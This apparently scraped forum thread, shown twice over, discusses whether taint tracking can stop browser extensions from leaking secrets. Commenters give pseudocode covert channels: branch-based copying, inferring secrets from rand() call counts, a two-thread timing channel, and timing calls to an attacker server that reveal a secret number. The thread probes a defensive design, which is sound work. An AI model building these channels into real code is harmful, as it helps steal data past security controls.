4 ms·

Will this show a warning? Yes, because the assignment happens inside a conditional that references a tainted variable. In the promiscuous world of imperative

by moe 11y ago

Will this show a warning? Yes, because the assignment happens inside a conditional that references a tainted variable. In the promiscuous world of imperative programming there's millions of ways to introduce dependency that can't be automaticaly checked. That is not true. workers/threads doing while() { sleep(), next_letter; } What is that supposed to achieve? known seed in one loop depending on tainted data Every variable assigned to within a "loop depending on tainted data" becomes tainted. Calling rand() doesn't taint the generator. Seeding it within a tainted scope does. Edit: I was wrong (see below), of course rand() also taints the generator.

ajuc 11y ago
> Yes, because the assignment happens inside a conditional that references a tainted variable. What if it was if (!tainted[i]==c) { continue; } untainted[i]=c; ? If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen. > What is that supposed to achieve? Global state is incramented by another worker every second to the next value. My thread kills the other worker after N seconds. global state = N and I haven't touched it. If you don't want to call kill from if depending on tainted data - sleep in that if, and call kill immediately after it. > Calling rand() doesn't taint the generator. Seeding it within a tainted scope does. It does: set_seed(1337); for(int i=0; i<tainted[0]; i++) { rand(); } int tmp = rand()); // now I know what tainted[i] was // because I know how many times // rand() was called, because I know // the whole sequence because I know // (untainted) seed.
- moe 11y ago
  What if it was To clarify, tainting "scope" doesn't refer to variable scope but is commonly implemented as a (thread-local) global dict that tracks tainted access in execution order. In your example the variable 'c' would be tainted from the moment the conditional evaluates until it is either re-assigned (from a non-tainted source) or until the program ends. If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen. Not sure what you mean by "your password" in this context. Which password, from what source? Calling rand() taints the generator Pardon, you are of course right. Yes it does.
TheLoneWolfling 11y ago
> What is that supposed to achieve? Timing attack against yourself. Something along the lines of the following, for instance: <thread 1> for (int i = 0; i < LEN; i++) { for (int j = 0; j < sizeof(char); j++) { while (flagA) {} if (tainted[i] && (1 << j) == 0) sleep(1); flagA = true; } } <thread 2> flagA = false; for (int i = 0; i < LEN; i++) { for (int j = 0; j < sizeof(char); j++) { sleep(0.5); if (flagA) untainted[i] ||= (1 << j); while (!flagA) {} flagA = false; } } (Note that it doesn't need to explicitly call sleep. It can do pretty much anything that takes an ~constant amount of time.) (Note that you can also leak LEN at the start, as to avoid tainting the loop.)
- moe 11y ago
  Your concern is valid but AFAIK web workers are shared nothing (please correct me if that changed). I think tainting can only be made reliable in a single-threaded environment.
  - ajuc 11y ago
    There are shared workers but it's not standard yet (I think). https://html.spec.whatwg.org/multipage/workers.html#shared-workers-introduction https://html.spec.whatwg.org/multipage/workers.html#shared-w... Even without shared workers timing attack works - untainted worker can connect to attacker site every second and update value, and be killed by untainted code after the tainted worker finished. EDIT: or you can do this with no multithreading at all, just getMiliseconds() before and after tainted code, and make the tainted part last secret_number miliseconds. Or if you blacklist getMiliseconds as tainting - do this on server instead. callAttackersServer(); { var tainted_int = getFromOtherServer(); for (var i=0; i<tainted_int; i++) { sleep(100 ms); } } callAttackersServer(); and the difference in time between calls will be interpreted on the server as the secret number.
    - moe 11y ago
      Yeah, timing attacks are indeed tricky. Within the call-stack we should probably simply consider all I/O that happens after a tainted variable was accessed to be tainted as well. That and banning trusted extensions from using concurrency mechanisms should sort those out. Correct me if I'm missing something, though!

by moe 11y ago

ajuc 11y ago

> Yes, because the assignment happens inside a conditional that references a tainted variable. What if it was if (!tainted[i]==c) { continue; } untainted[i]=c; ? If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen. > What is that supposed to achieve? Global state is incramented by another worker every second to the next value. My thread kills the other worker after N seconds. global state = N and I haven't touched it. If you don't want to call kill from if depending on tainted data - sleep in that if, and call kill immediately after it. > Calling rand() doesn't taint the generator. Seeding it within a tainted scope does. It does: set_seed(1337); for(int i=0; i<tainted[0]; i++) { rand(); } int tmp = rand()); // now I know what tainted[i] was // because I know how many times // rand() was called, because I know // the whole sequence because I know // (untainted) seed.

moe 11y ago
What if it was To clarify, tainting "scope" doesn't refer to variable scope but is commonly implemented as a (thread-local) global dict that tracks tainted access in execution order. In your example the variable 'c' would be tainted from the moment the conditional evaluates until it is either re-assigned (from a non-tainted source) or until the program ends. If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen. Not sure what you mean by "your password" in this context. Which password, from what source? Calling rand() taints the generator Pardon, you are of course right. Yes it does.

TheLoneWolfling 11y ago

> What is that supposed to achieve? Timing attack against yourself. Something along the lines of the following, for instance: <thread 1> for (int i = 0; i < LEN; i++) { for (int j = 0; j < sizeof(char); j++) { while (flagA) {} if (tainted[i] && (1 << j) == 0) sleep(1); flagA = true; } } <thread 2> flagA = false; for (int i = 0; i < LEN; i++) { for (int j = 0; j < sizeof(char); j++) { sleep(0.5); if (flagA) untainted[i] ||= (1 << j); while (!flagA) {} flagA = false; } } (Note that it doesn't need to explicitly call sleep. It can do pretty much anything that takes an ~constant amount of time.) (Note that you can also leak LEN at the start, as to avoid tainting the loop.)

moe 11y ago
Your concern is valid but AFAIK web workers are shared nothing (please correct me if that changed). I think tainting can only be made reliable in a single-threaded environment.
- ajuc 11y ago
  There are shared workers but it's not standard yet (I think). https://html.spec.whatwg.org/multipage/workers.html#shared-workers-introduction https://html.spec.whatwg.org/multipage/workers.html#shared-w... Even without shared workers timing attack works - untainted worker can connect to attacker site every second and update value, and be killed by untainted code after the tainted worker finished. EDIT: or you can do this with no multithreading at all, just getMiliseconds() before and after tainted code, and make the tainted part last secret_number miliseconds. Or if you blacklist getMiliseconds as tainting - do this on server instead. callAttackersServer(); { var tainted_int = getFromOtherServer(); for (var i=0; i<tainted_int; i++) { sleep(100 ms); } } callAttackersServer(); and the difference in time between calls will be interpreted on the server as the secret number.
  - moe 11y ago
    Yeah, timing attacks are indeed tricky. Within the call-stack we should probably simply consider all I/O that happens after a tainted variable was accessed to be tainted as well. That and banning trusted extensions from using concurrency mechanisms should sort those out. Correct me if I'm missing something, though!